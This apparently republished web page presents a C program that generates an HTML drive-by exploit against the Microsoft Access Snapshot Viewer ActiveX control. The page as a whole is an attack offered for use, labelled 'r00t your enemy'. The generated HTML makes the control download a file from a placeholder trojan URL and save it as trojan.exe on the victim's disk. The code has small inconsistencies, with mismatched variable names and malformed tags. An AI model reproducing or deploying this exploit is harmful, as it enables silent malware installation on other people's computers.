Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit

时间:2021-05-24

#include <stdio.h>
#include <stdlib.h>
#define Filename "Ms-Access-SnapShot.html"
FILE *File;
char data[] = "<html>\n<objectclassid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9'id='attaque'></object>\n"
"<script language='javascript'>\nvar arbitrary_file = 'http://path_to_trojan'\n"
"var dest = 'C:/Docume~1/ALLUSE~1/trojan.exe'\nattack.SnapshotPath = arbitrary_file\n"
"attack.CompressedPath = destination\nattack.PrintSnapshot(arbitrary_file,destination)\n"
"<script>\n<html>";int main ()
{
printf("**Microsoft Access Snapshot Viewer ActiveX Exploit**\n");
printf("**c0ded by callAX**\n");
printf("**r00t your enemy .| **"); FILE *File;
char *b0fer; if ( (File = fopen(Filename,"w b")) == NULL ) {
printf("\n fopen() error");
exit(1);
} b0fer = (char*)malloc(strlen(data));
memcpy(b0fer,data,sizeof(data)-1);
fwrite(b0fer, strlen(data), 1,File);
fclose(File); printf("\n\n" Filename " has been created.\n");
return 0;
}

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章